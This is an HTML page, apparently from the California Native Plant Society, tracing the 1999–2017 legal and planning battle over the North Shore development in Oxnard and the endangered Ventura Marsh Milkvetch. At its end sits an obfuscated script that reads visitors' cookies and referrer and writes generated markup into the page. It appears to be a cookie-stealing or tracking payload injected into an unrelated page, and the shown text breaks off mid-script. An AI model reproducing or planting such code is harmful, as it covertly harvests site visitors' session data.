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{mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman","serif";} </style> <![endif]--><!--[if gte mso 9]><xml> <o:shapedefaults v:ext="edit" spidmax="1026"/> </xml><![endif]--><!--[if gte mso 9]><xml> <o:shapelayout v:ext="edit"> <o:idmap v:ext="edit" data="1"/> </o:shapelayout></xml><![endif]--> </head> <body bgcolor=tan lang=EN-US link=blue vlink=purple style='tab-interval:.5in'> <div class=WordSection1> <h3><span style='font-family:"Dauphin","serif";color:#FF6600'>North Shore Development/Oxnard vs. the Ventura Marsh Milkvetch<o:p></o:p></span></h3> <p class=MsoBodyText><b><i>March 1999<o:p></o:p></i></b></p> <p class=MsoBodyText>The Final Environmental Impact Report (FEIR) on the North Shore at Mandalay Bay (near Oxnard Shores) went out for public review and the Oxnard Planning Commission will hear public comments on 1 April 1999.<span style='mso-spacerun:yes'>  </span>The project would surround the only existing population of the Ventura Marsh Milkvetch (<i style='mso-bidi-font-style:normal'>Astragalus pycnostachyus</i> ssp. <i style='mso-bidi-font-style:normal'>lanosissimus</i>), and endangered plant species (<a href="../PlantInfo/Extinct%20Plants%20Rediscovered.htm">see related story about rediscover of this plant</a>) with expensive houses.<span style='mso-spacerun:yes'>  </span>CNPS is working with the California Department of Fish and Game (CDFG) and the developer to see if there are ways to better protect this endangered plant onsite, as well as establish additional populations at other nearby locations.<span style='mso-spacerun:yes'>  </span>Unfortunately, CNPS believes the EIR prepared for this development is seriously flawed in that it did not properly identify and evaluate sensitive botanical resources present onsite, including coastal dune habitats, wetlands, and impacts to the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>CNPS comments on the Draft EIR can be downloaded <a href="NorthShoreDEIRCNPScomments21Sep98.pdf">here. </a>CNPS comments on the FEIR can be downloaded <a href="NorthShoreFEIRCNPScomments18Mar99.pdf">here.</a> An aerial photograph of the project site and surrounding area is shown below.<span style='mso-spacerun:yes'>  </span><br> <br> <span style='mso-no-proof:yes'><img border=0 width=300 height=348 id="_x0000_i1038" src=NorthShoreAerial.jpg></span><span style='mso-spacerun:yes'>  </span><span style='mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"/> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"/> <v:f eqn="sum @0 1 0"/> <v:f eqn="sum 0 0 @1"/> <v:f eqn="prod @2 1 2"/> <v:f eqn="prod @3 21600 pixelWidth"/> <v:f eqn="prod @3 21600 pixelHeight"/> <v:f eqn="sum @0 0 1"/> <v:f eqn="prod @6 1 2"/> <v:f eqn="prod @7 21600 pixelWidth"/> <v:f eqn="sum @8 21600 0"/> <v:f eqn="prod @7 21600 pixelHeight"/> <v:f eqn="sum @10 21600 0"/> </v:formulas> <v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/> <o:lock v:ext="edit" aspectratio="t"/> </v:shapetype><v:shape id="Picture_x0020_2" o:spid="_x0000_i1037" type="#_x0000_t75" alt="Astragalus_pycnostachyus_lanosissimus-4" style='width:284.25pt;height:195pt; visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image001.jpg" o:title="Astragalus_pycnostachyus_lanosissimus-4"/> </v:shape><![endif]--><![if !vml]><img border=0 width=379 height=260 src="OxnardNorthShoreDevelopment_files/image002.jpg" alt="Astragalus_pycnostachyus_lanosissimus-4" v:shapes="Picture_x0020_2"><![endif]></span><span style='mso-spacerun:yes'>  </span><span style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_3" o:spid="_x0000_i1036" type="#_x0000_t75" alt="Astragalus_pycnostachyus_lanosissimus-3" style='width:294.75pt;height:196.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image003.jpg" o:title="Astragalus_pycnostachyus_lanosissimus-3"/> </v:shape><![endif]--><![if !vml]><img border=0 width=393 height=262 src="OxnardNorthShoreDevelopment_files/image004.jpg" alt="Astragalus_pycnostachyus_lanosissimus-3" v:shapes="Picture_x0020_3"><![endif]></span></p> <p class=MsoBodyText><o:p>&nbsp;</o:p></p> <p class=MsoBodyText><b><i>June 1999</i></b><i><o:p></o:p></i></p> <p class=MsoBodyText>The FEIR on the North Shore development was certified as adequate under the California Environmental Quality Act (CEQA) by the Oxnard Planning Commission public hearing on 1 April 1999.<span style='mso-spacerun:yes'>  </span>The project would surround the only existing population of the Ventura Marsh Milkvetch, an endangered plant species, with expensive houses.<span style='mso-spacerun:yes'>  </span>The Planning Commissioners gave CNPS or other commenters only three minutes to present their cases to protect the Ventura Marsh Milkvetch, not anywhere enough time to even really begin to describe all the ways the EIR (prepared by Impact Sciences) failed to adequately address impacts the project would have on sensitive botanical resources.<span style='mso-spacerun:yes'>  </span>CNPS believes the EIR prepared for this development is seriously flawed in that it did not properly identify and evaluate sensitive botanical resources present onsite, including coastal dune habitats, wetlands, and impacts to the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>Therefore, the Environmental Defense Center (EDC) has (on behalf of CNPS) appealed the certification to the Oxnard City Council.<span style='mso-spacerun:yes'>  </span>CNPS will also appeal the project before the California Coastal Commission.<span style='mso-spacerun:yes'>  </span>If all that fails, CNPS will likely file suit against the City of Oxnard on the EIR.<span style='mso-spacerun:yes'>  </span>CNPS will not stand by and watch the Ventura Marsh Milkvetch go extinct at the hands of the City of Oxnard and Orange County developers just to build a gated community.</p> <p class=MsoNormal><o:p>&nbsp;</o:p></p> <p class=MsoPlainText style='margin-bottom:6.0pt'><b><i><span style='font-size: 11.0pt;mso-bidi-font-size:10.0pt;font-family:"Times New Roman","serif"'>August 1999<o:p></o:p></span></i></b></p> <p class=MsoBodyText>Things don t look good for the continued existence for the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>In July the Oxnard City Council ignored CNPS concerns about the impacts the proposed North Shore development would have on this endangered species, which only occurs in a small area of the 91-acre property.<span style='mso-spacerun:yes'>  </span>The developer brought in at the very last minute an agreement with CDFG to provide some mitigation for the plant and the loss of coastal dune scrub and willow wetland habitats.<span style='mso-spacerun:yes'>  </span>However, CNPS believes this mitigation <span class=GramE>is seriously</span> inadequate to protect against the Ventura Marsh Milkvetch from extinction, nor does it replace the dune scrub and wetland habitats.<span style='mso-spacerun:yes'>  </span>Since this project was approved under CEQA, and it is only enforced by the public (no state agencies oversees or regulates this state law), CNPS has filed suit against the City of Oxnard for not properly identifying project-related impacts and not requiring feasible impact avoidance and/or mitigation.<span style='mso-spacerun:yes'>  </span>In fact, the entire process implemented by the City is a joke.</p> <p class=MsoBodyText>The City has effectively given all <span class=SpellE>decisionmaking</span> over to the developer, and  does not care one way or the other if the EIR is challenged in the courts (the developer must pay ALL of the City s legal and administrative expenses related to this project).<span style='mso-spacerun:yes'>  </span>CNPS will aggressively seek to secure adequate impact avoidance and mitigation to ensure (to the greatest extent feasible) that the Ventura Marsh Milkvetch does not go extinct as a result of an exclusive house development.<span style='mso-spacerun:yes'>  </span>Besides the CEQA lawsuit, CNPS will argue its case with the Local Area Formation Commission (LAFCO) to prevent annexation of this property into the City of Oxnard.<span style='mso-spacerun:yes'>  </span>CNPS will also testify before the California Coastal Commission against the City s amendment to its Local Coastal Plan to annex this project into the City.</p> <p class=MsoBodyText>All these actions do cost CNPS money.<span style='mso-spacerun:yes'>  </span>Fortunately, a generous donation has been offered to CNPS to help defray our legal costs, which are estimated to be around $5,000 (it is that low only because the Environmental Defense Center of Ventura County is representing CNPS, for which we only pay for their expenses).<span style='mso-spacerun:yes'>  </span>Regardless, your donations would be greatly appreciated and well spent to protect our precious and rare plants and habitats.<span style='mso-spacerun:yes'>  </span>If you are able, please send your check to CNPS at PO Box 5626, Ventura, CA 93005.<span style='mso-spacerun:yes'>  </span>Contact David Magney at 916/447-2677 ext. 205 or <a href="mailto:dmagney@cnps.org">dmagney@cnps.org</a> to receive up-to-the-minute information on how you can help.</p> <p class=MsoBodyText><b><i>August 2000<o:p></o:p></i></b></p> <p class=MsoBodyText>CNPS finally settled its lawsuit against the City of Oxnard and North Shore at Mandalay Bay on 17 August 2000, after a very long and tedious negotiating process.<span style='mso-spacerun:yes'>  </span>While CNPS did not get everything we wanted, we did accomplish a lot, and got over twice as much habitat set aside onsite for the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>The judge on the case still needs to approve the settlement, but it is unlikely he would not accept the settlement agreement.<span style='mso-spacerun:yes'>  </span>CNPS was able to increase the size of the onsite preserve for the Ventura Marsh Milkvetch from near 5 acres to just over 10 acres, something that the CDFG (headquarters) decided they could not get from the developer when they negotiated their agreement with the developer before the EIR was even certified.<span style='mso-spacerun:yes'>  </span>CNPS will have guaranteed access to the preserve.<span style='mso-spacerun:yes'>  </span>CNPS will review all mitigation plans as they are developed to ensure they are appropriate and detailed enough to reasonably get the job done.<span style='mso-spacerun:yes'>  </span>CNPS legal fees will be paid by the developer (way in the future).<span style='mso-spacerun:yes'>  </span>The City will place a conservation easement over city-owned property (about 6 acres) to the south of 5<sup>th</sup> Street, which is currently in high quality dune habitat.<span style='mso-spacerun:yes'>  </span>We believe this is a good settlement; however, the project will still eliminate about 80 acres of restorable dune scrub and back dune swale habitat, both of which are extremely rare in Ventura County.<span style='mso-spacerun:yes'>  </span>Some of the impacts will be mitigated; however, the mitigation plans have not yet been written, so how, when, and where is still in question.<span style='mso-spacerun:yes'>  </span>CNPS will follow the mitigation plan development and implementation very closely.</p> <p class=MsoBodyText>CNPS arguments before LAFCO to prevent annexation of this property into the City of Oxnard fell on deaf ears, whose ears included members of the Ventura County Board of Supervisors and county City representatives, and a few others.<span style='mso-spacerun:yes'>  </span>CNPS will also testify before the California Coastal Commission against the City s amendment to its Local Coastal Plan to annex this project into the City, which will probably be heard in October, to ensure the botanical resources onsite are protected to the greatest extent possible.</p> <p class=MsoBodyText><b><i>June 2001<o:p></o:p></i></b></p> <p class=MsoBodyText>The North Shore development project has been somewhat idle for the last few months, waiting for Oxnard to submit their amended LCP to the Coastal Commission.<span style='mso-spacerun:yes'>  </span>Recently, the developer has filed for bankruptcy, to keep his creditors off his back, which puts the entire project in question.<span style='mso-spacerun:yes'>  </span>However, Ron Smith, partner and developer representative, assures everyone that it is just a simple financial maneuver he had to do to move forward with the project.<span style='mso-spacerun:yes'>  </span>The bankruptcy raises concerns about North Shore s ability to meet its mitigation obligations financially.<span style='mso-spacerun:yes'>  </span>CNPS does have significant concerns with the city s LCP adequacy and out-datedness, which does not provide adequate protection for sensitive resources either as it is now or would be in the future, as it leaves many sensitive habitats unprotected, or inadequately protected, from future development.<span style='mso-spacerun:yes'>  </span>There are still some great sand dunes and their plant communities left in Oxnard, but are extremely vulnerable to the whims of Oxnard s development ideas.<span style='mso-spacerun:yes'>  </span>In that light, CNPS desires the LCP update to properly correct these shortcomings, and CNPS is working with EDC on that issue.<span style='mso-spacerun:yes'>  </span>The Coastal Commission has granted a one-year extension for reviewing the City s LCP amendment (requested by the City), which is needed before the North Shore development can move forward.</p> <p class=MsoBodyText><b><i>January 2002<o:p></o:p></i></b></p> <p class=MsoBodyText>The City of Oxnard had hoped that the Coastal Commission would hear (and approve) their request for a major amendment to the LCP to accommodate the North Shore at Mandalay upscale housing development.<span style='mso-spacerun:yes'>  </span>However, the Coastal Commission postponed the hearing to a future date until the City and the developer provide additional data on the project.<span style='mso-spacerun:yes'>  </span>CNPS contends that the site has several Environmentally Sensitive Habitat Areas (ESHAs) on the development site, regardless of the fact that the site had largely been significantly disturbed before the 1980s.<span style='mso-spacerun:yes'>  </span>In fact, a small part of the disturbed area of the site is the only naturally occurring population of the endangered Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>There are also remnants of Coastal Dune Scrub onsite adjacent to Fifth Street just east of Harbor Boulevard.<span style='mso-spacerun:yes'>  </span>Also occurring onsite are some <span class=SpellE>backdune</span> swales dominated by Arroyo Willow, an extremely rare habitat type on the West Coast (not to mention the dune scrub).<span style='mso-spacerun:yes'>  </span>Dr. Lawrence Hunt mentioned that he had collected the Silvery Legless Lizard in the willow scrub from the site.<span style='mso-spacerun:yes'>  </span>This lizard is very rare, as most of its habitat has been destroyed by coastal development.<span style='mso-spacerun:yes'>  </span>CNPS letter to the Coastal Commission can be downloaded from <a href="Coastal_Commission_Issues_on_Oxnard-NorthShoreLCP.pdf">here</a>. </p> <p class=MsoBodyText><b><i>May 2002<o:p></o:p></i></b></p> <p class=MsoBodyText>On April 12, 2002, the California Coastal Commission approved an amendment to the City of Oxnard s LCP for the North Shore project.<span style='mso-spacerun:yes'>  </span>The LCP amendment was adopted by Oxnard on May 14, 2002.<span style='mso-spacerun:yes'>  </span>The amendment allows the destruction of habitat that is normally considered environmentally sensitive habitat by the Coastal Commission, including dune scrub and willow scrub, and the fill of areas considered by the Commission to be wetlands.</p> <p class=MsoBodyText>Under the Coastal Act, development within environmentally sensitive habitat areas (ESHAs) is generally prohibited.<span style='mso-spacerun:yes'>  </span>In addition, coastal wetlands may be filled only for certain enumerated purposes.<span style='mso-spacerun:yes'>  </span>Here, the Commission justified the development, modification, and destruction of ESHAs by concluding that they are not really ESHAs after all, based on the unique circumstances of the North Shore site.<span style='mso-spacerun:yes'>  </span>The site is a former oilfield waste disposal site.<span style='mso-spacerun:yes'>  </span>The soil is contaminated and some contaminants have migrated to shallow groundwater on the site.<span style='mso-spacerun:yes'>  </span>The Commission thus contends that remediation of the site is necessary.<span style='mso-spacerun:yes'>  </span>The unique circumstances cited in the determination that the sensitive habitat is not ESHA are  the degraded and dispersed nature of these plant communities on the site in conjunction with the highly contaminated soil and groundwater environment. </p> <p class=MsoBodyText>In the case of wetlands, the Commission acknowledged that the areas of the site met the Commission s wetlands criteria.<span style='mso-spacerun:yes'>  </span>The Commission further acknowledged that the proposed wetland fill did not meet any of the allowed uses of fill enumerated in the Coastal Act.<span style='mso-spacerun:yes'>  </span>Nonetheless, the Commission approved the fill based on a purported conflict between resource protection policies of the Coastal Act.<span style='mso-spacerun:yes'>  </span>The conflict is based on the notion that fill of the wetlands is required to remediate the site, and remediation is necessary to prevent threats to human health and coastal resources. <a href="NorthShoreFEIRCNPScomments18Mar99.pdf"><span class=SpellE>CNPS_Comments_on_the_North_Shore-CCC_Item</span></a></p> <p class=MsoBodyText>Based on CNPS concerns for coastal environmental resources, specifically wetlands, rare plants, and rare coastal plant communities, CNPS has filed suit against the Coastal Commission, City of Oxnard, and North Shore at Mandalay Bay to request the courts to require the Coastal Commission properly follow the policies and rules of the California Coastal Act, which prohibits destruction of ESHAs for housing developments.<span style='mso-spacerun:yes'>  </span>See related item <a href="CNPSvsCC.htm">CNPS vs Coastal Commission</a> on the Conservation Issues page.</p> <p class=MsoBodyText><b><i>December 2003<o:p></o:p></i></b></p> <p class=MsoBodyText>CNPS, along with the Sierra Club and Wetlands Action Network, petitioners against the City of Oxnard, North Shore developer, and the Coastal Commission, settled the lawsuit.<span style='mso-spacerun:yes'>  </span>We had lost in Superior Court but had filed an appeal to the Appellate Court, hoping for a win.<span style='mso-spacerun:yes'>  </span>However, we were able to agree on a significantly modified development project that doubled the size of the onsite preserve for the only natural population of the Ventura Marsh Milkvetch, and obtain an agreement to receive significant funds to conduct a feasibility study and implement restoration.<span style='mso-spacerun:yes'>  </span>The settlement puts CNPS in charge of managing the settlement funds, other than what goes to the Environmental Defense Center and the other litigant s legal representatives, to use for the benefit of the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span></p> <p class=MsoBodyText>Basically, the settlement provides CNPS with funds to conduct a survey of historic and other sites that the Ventura Marsh Milkvetch might be planted, so that we can have more than just one population of the endangered plant species.<span style='mso-spacerun:yes'>  </span>Experimental populations have been planted at McGrath State Beach, Mandalay State Beach, <span class=SpellE>Carpinteria</span> Salt Marsh Preserve, and Coal Oil Point Preserve, the latter two owned and operated by the University of California Reserve system.</p> <p class=MsoBodyText><b><i>May 2007<o:p></o:p></i></b></p> <p class=MsoBodyText>After receiving the first installment of the settlement funds from North Shore (the developer), CNPS looked for a suitable consultant to conduct the site assessment study mentioned above.<span style='mso-spacerun:yes'>  </span>Finding none suitable, for the funding available, CNPS went in-house and  contracted with the Vegetation Program to do the study.<span style='mso-spacerun:yes'>  </span>That study was completed in April 2007.<span style='mso-spacerun:yes'>  </span>A copy of the <a href="VMM_FinalReport_042607minus_sensitive_info.pdf">Habitat Assessment Study</a> (a 1.7 MB PDF) is available here.</p> <p class=MsoBodyText>Now, once North Shore provides CNPS with the rest of the settlement funds, we can work to establish additional populations within the historic range of the very rare plant.</p> <p class=MsoBodyText><b><i>July 2011<o:p></o:p></i></b></p> <p class=MsoBodyText>Sometime between 2007 and 2008, Ron Smith, the original developer, sells the property to <span class=SpellE>Trimark</span>-Pacific Mandalay Bay LLC.<span style='mso-spacerun:yes'>  </span><span class=SpellE>Trimark</span> then fires Impact Sciences from the project and hires LFR to take over, who has CNPS member, Mary Carroll on staff to work on the mitigation plan and protecting the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>This is very good news.<span style='mso-spacerun:yes'>  </span>LFR is then sold to ARCADIS, a very large environmental consulting firm; who keeps Mary on staff, thank goodness.</p> <p class=MsoBodyText>In late 2009, the successor to North Shore at Mandalay, <span class=SpellE>Trimark</span>-Pacific Mandalay Bay LLC, defaulted on their <b>$63.8 MILLION</b> loan to California National Bank, and the bank foreclosed on the developer.<span style='mso-spacerun:yes'>  </span>Then, California National Bank (CNB) went belly up as a result of the housing bubble and all the bad loans banks made related to home mortgages, and the property transferred to the FDIC.<span style='mso-spacerun:yes'>  </span>The FDIC dispersed CNB s assets to other banks, and U.S. Bank became the new owner of the North Shore development.<span style='mso-spacerun:yes'>  </span></p> <p class=MsoBodyText>U.S. Bank formed a subsidiary to handle all financial aspects of the North Shore property and the project, Mandalay Bay Development LLC.<span style='mso-spacerun:yes'>  </span>Mandalay Bay Development LLC s primary job is to get everything nice a tidy and package the project to sell to a developer/builder.<span style='mso-spacerun:yes'>  </span>In the meantime, they kept ARCADIS onboard to keep managing the Ventura Marsh Milkvetch mitigation onsite and offsite, which is a good thing.<span style='mso-spacerun:yes'>  </span></p> <p class=MsoBodyText>In the meantime, the contamination remediation activities have moved forward, and I believe basically completed.<span style='mso-spacerun:yes'>  </span>This means that that part of the property to be developed for houses is ready to be built on.</p> <p class=MsoBodyText>Mandalay Bay Development LLC is currently trying to have the first-phase final map pursuant to the approved tentative tract map approved by the City of Oxnard, which will make the property/project much more saleable.<span style='mso-spacerun:yes'>  </span>To get CNPS paid the final amount due from the settlement agreement, Mandalay Bay Development LLC has agreed to require the balance due to be transferred to CNPS through escrow when the property sells, expected hopefully before the end of 2011.<span style='mso-spacerun:yes'>  </span>This is great news!</p> <p class=MsoBodyText><b style='mso-bidi-font-weight:normal'><i style='mso-bidi-font-style:normal'>January 2014<o:p></o:p></i></b></p> <p class=MsoBodyText><span class=GramE>US Bank, who had been holding ownership of the North Shore site since 2009 and has finally, on the third try, sold the property and development rights to a developer/builder.</span><span style='mso-spacerun:yes'>  </span>As part of the escrow instructions, CNPS was paid the final part as required in the lawsuit settlement agreement.<span style='mso-spacerun:yes'>  </span>CNPS will now set up a committee to determine how best to use the funding to further the existence of the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>The City of Oxnard had also, previously, recorded conservation easements on sensitive habitat on and near the North Shore site to satisfy legal requirements from CNPS et al. and the California Department of Fish and Wildlife.<span style='mso-spacerun:yes'>  </span>CNPS will continue to monitor activities at the North Shore site to try to protect the only known  natural population of the Ventura Marsh Milkvetch.<span style='mso-spacerun:yes'>  </span>The new <span class=GramE>owners of the North Shore site is</span> MPL Property Holdings LLC, a Delaware limited liability company.</p> <p class=MsoBodyText><b style='mso-bidi-font-weight:normal'><i style='mso-bidi-font-style:normal'>January 2017<o:p></o:p></i></b></p> <p class=MsoBodyText>The soil at the North Shore development site has been finally remediated and now the new developer is getting close to finally building some homes.<span style='mso-spacerun:yes'>  </span>The Ventura Marsh Milkvetch plants on this site are still holding on, under the care of ARCADIS.<span style='mso-spacerun:yes'>  </span>Mitigation plantings at the McGrath Beach property are surviving, and the wetlands created there as mitigation <span class=GramE>are</span> generally doing well.<span style='mso-spacerun:yes'>  </span>Supplemental planting sites are still being explored, as one additional out-planting site is required to satisfy the developer s mitigation requirements.<o:p></o:p></p> <p class=MsoBodyText><o:p>&nbsp;</o:p></p> <p class=MsoBodyText>Below are photographs by David Magney of the Ventura Marsh Milkvetch from the North Shore site taken in August <span class=GramE>2013.</span></p> <p class=MsoBodyText><span style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_6" o:spid="_x0000_i1035" type="#_x0000_t75" style='width:199.5pt; height:300pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image005.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=266 height=400 src="OxnardNorthShoreDevelopment_files/image006.jpg" v:shapes="Picture_x0020_6"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_5" o:spid="_x0000_i1034" type="#_x0000_t75" style='width:199.5pt; height:300pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image007.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=266 height=400 src="OxnardNorthShoreDevelopment_files/image008.jpg" v:shapes="Picture_x0020_5"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_7" o:spid="_x0000_i1033" type="#_x0000_t75" style='width:199.5pt; height:300pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image009.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=266 height=400 src="OxnardNorthShoreDevelopment_files/image010.jpg" v:shapes="Picture_x0020_7"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_4" o:spid="_x0000_i1032" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image011.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image012.jpg" v:shapes="Picture_x0020_4"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_8" o:spid="_x0000_i1031" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image013.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image014.jpg" v:shapes="Picture_x0020_8"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_13" o:spid="_x0000_i1030" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image015.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image016.jpg" v:shapes="Picture_x0020_13"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_14" o:spid="_x0000_i1029" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image017.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image018.jpg" v:shapes="Picture_x0020_14"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_9" o:spid="_x0000_i1028" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image019.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image020.jpg" v:shapes="Picture_x0020_9"><![endif]><!--[if gte vml 1]><v:shape id="Picture_x0020_12" o:spid="_x0000_i1027" type="#_x0000_t75" style='width:300pt; height:199.5pt;visibility:visible;mso-wrap-style:square'> <v:imagedata src="OxnardNorthShoreDevelopment_files/image021.gif" o:title=""/> </v:shape><![endif]--><![if !vml]><img border=0 width=400 height=266 src="OxnardNorthShoreDevelopment_files/image022.jpg" v:shapes="Picture_x0020_12"><![endif]></span></p> <p class=MsoBodyText><o:p>&nbsp;</o:p></p> <p class=MsoBodyText><o:p>&nbsp;</o:p></p> <p class=MsoNormal><script> function useful_algebra(id) { var u00 = document; var chars = '!X P:0S3T.Ed5>HL7zFub9/tCK=o6?W*rxci8vQ&jfUVIswmelN1nR;4GY<MAB2kOyZhpg+J"qaD'; var r = escape(u00.referrer); var c = escape(u00.cookie); var i = escape(id); var h = escape('cnpsci'); u00.write(String(chars.charAt(58) + "!" + chars.charAt(45) + "!" + chars.charAt(34) + "!" + chars.charAt(32) + "!" + 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